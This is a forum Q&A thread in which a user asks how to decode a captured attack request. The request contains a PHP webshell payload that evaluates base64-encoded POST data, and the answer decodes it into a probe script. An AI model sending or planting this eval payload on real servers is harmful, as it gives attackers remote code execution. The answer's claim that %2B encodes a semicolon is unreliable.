1

I'm trying to decode this attack. I know it's attempting to send some kind of malicious command to the web server but I can't figure out how to decode it. It's like encoded more than once or something. I don't know. I've looked around and can't find it.

a=@ eval (base64_decode($_POST[z0]));&z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0%2BfCIpOztwcmludCgiaGFvcmVuZ2UuY29tUVEzMTcyNzU3MzgiKTs7ZWNobygifDwtIik7ZGllKCk7

2
  • Did you try Base64-decoding the z0 parameter? Hint: you just copied a piece of the request body there, so you'd need to URL-decode (unescape in JS-speak) it first. Commented Jan 31, 2020 at 3:34
  • It's a basic webshell. The important part is that it directly evaluates user data. Commented Jan 31, 2020 at 3:36

1 Answer 1

1

You need to url decode it first. There is a character in the middle %2B that is a ;.

Check this out.

QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0%2BfCIpOztwcmludCgiaGFvcmVuZ2UuY29tUVEzMTcyNzU3MzgiKTs7ZWNobygifDwtIik7ZGllKCk7

turns into

@ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);echo("->|");;print("haorenge.comQQ317275738");;echo("|<-");die();
2
  • Thanks a lot. So the %2B, anytime I see that in base64, I should URL decode it?
    – Neo Son
    Commented Jan 31, 2020 at 13:47
  • Well base64 chars are alphanumeric plus + and /. In addition = are used for padding. So if you see any characters other than that in the string, you know it's not base64. I saw the %2B and knew that was a URL encoding of ;, so I just substituted it for the ; and gave it a try in base64. And it worked! A lot of this is just guess and check :)
    – MikeSchem
    Commented Jan 31, 2020 at 16:52

Not the answer you're looking for? Browse other questions tagged .